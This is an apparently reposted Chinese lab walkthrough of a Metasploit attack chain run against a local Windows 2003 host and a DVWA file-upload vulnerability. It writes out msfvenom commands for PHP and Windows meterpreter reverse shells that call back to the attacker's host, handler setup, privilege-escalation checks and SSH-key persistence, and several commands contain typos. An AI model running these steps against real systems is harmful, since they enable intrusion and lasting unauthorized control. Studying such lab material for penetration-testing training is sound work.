Metasploit系列----未知目标测试

2021/5/8 12:27:11

本文主要是介绍Metasploit系列----未知目标测试,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

攻击机器:kali 192.168.1.8
目标机器:windows2003 192.168.1.7
操作步骤

创建工作空间

显示数据库未连接
在这里插入图片描述
使用msfdb init对数据进行初始化
在这里插入图片描述使用命令db_status查看数据库状态信息,显示数据库已连接。
在这里插入图片描述
使用命令workspace -a 192.168.1.7创建目标工作空间。
在这里插入图片描述

信息搜集

测试目标连通性ping 192.168.1.7(ping -c 3 ip :ping三次后结束 和 ping 使用ctrl+c结束)
在这里插入图片描述

测试目标服务:在msf中使用db_nmap 调用nmap对目标进行扫描
使用命令 db_nmap -sS 192.168.1.7
在这里插入图片描述扫描结果会自动保存在数据库中
使用services查看保存结果
在这里插入图片描述对于http端口,使用http_version搜索相关版本信息
使用命令search http_version查找相关信息

在这里插入图片描述使用use进入模块
在这里插入图片描述
使用show options查看需要设置的参数
在这里插入图片描述使用set设置相关参数
使用run运行
在这里插入图片描述通过http运行的web程序进行渗透测试;
对web程序,使用dir_scanner模块对目录进行扫描
在这里插入图片描述

威胁建模与漏洞分析:

环境:在windows10中使用phpstudy搭建环境。
基于dvwa文件上传漏洞http://127.0.0.1:8081/vulnerabilities/upload/
在这里插入图片描述

渗透测试与权限控制

已知此处存在文件上传漏洞:
上传php meterpreter payload 文件,浏览器访问上传后的文件,获取php类型的反弹会话。
在这里插入图片描述使用命令:msfvenom -l payload | grep php | grep meterpreter 筛选php后渗透模块的payload.
在这里插入图片描述选择php/meterpreter_reverse_tcp模块,使用命令:msfvenom -p php/meterpreter_reverss_tcp lost=192.168.1.8 lport=4445 -o /home/shell.php指定payload模块设置监听地址及监听端口,并指定生成文件的地址。可以看到成功生成shell.php文件。
在这里插入图片描述在dvwa上传点上传shell.php文件
在这里插入图片描述打开msf设置监听
使用命令 use expolit/muliti/handler配置监听模块
在这里插入图片描述
使用命令show options查看模块
在这里插入图片描述set payload php/meterpreter_reverse_tcp(此处的payload一定要和上方生成的payload的是同一个模块)
set lhost 192.168.1.8 设置监听的ip
set lport 4445 设置监听端口
在这里插入图片描述run 运行,同时在浏览器上访问上传的shell.php文件,msf会生成相关的会话。

在这里插入图片描述由于生成的会话不稳定(会话被中断,执行run重新访问上传的shell.php即可),且php meterpreter 不具有meterpreter完整功能,因此可以继续上传exe的meterpreter获取更多操作功能。

使用命令msfvenom -l payload | grep windows | grep meterpreter筛选windows后渗透测试payload
在这里插入图片描述使用命令:msvenom -p windows.x64/meterpreter_reverse_tcp lhost=192.168.1.8 lport=4446 -f exe -o /home/shell1.exe生成payload
在这里插入图片描述使用刚才通过的上传php获得的meterpreter,上传生成的shell1.exe
upload /home/shell1.exe 上传成功
在这里插入图片描述使用dir查看已经成功上传shell1.exe,且具备执行权限(若文件不具备执行权限则使用命令对文件添加权限)
在这里插入图片描述再打开一个msf设置监听,监听上传的exe会话。
在这里插入图片描述
在通过的上传php获得的meterpreter,使用命令execute -f shell1.exe执行上传的exe
在这里插入图片描述可在新打开的msf中建立相关的会话。
在这里插入图片描述此时获得权限认为web服务层面的权限,获取system权限
使用命令 use post/multi/recon/local_exploit_suggester配置相关参数检测是否存在提权模块
在这里插入图片描述使用提示的模块进行提权,我这里可能由于开启防火墙的原因未提权成功。正常情况下通过该操作可以 获得system权限。
在这里插入图片描述

维持权限

linux
使用 post/linux/manage目录下得sshkey_persistence模块实现对Linux服务的持续控制
use post/linux/manage/sshkey_persistence
show options
set session 2(使用具有root权限的session)
run
执行后会生成私钥文件
在这里插入图片描述直接使用命令 ssh root@[目标ip] -i [私钥文件路径]直接登录目标机器
在这里插入图片描述root用户经常会被禁止远程登录,此时需要修改ssh配置,使其允许root用户登录。

windows

详见windows权限维持



这篇关于Metasploit系列----未知目标测试的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程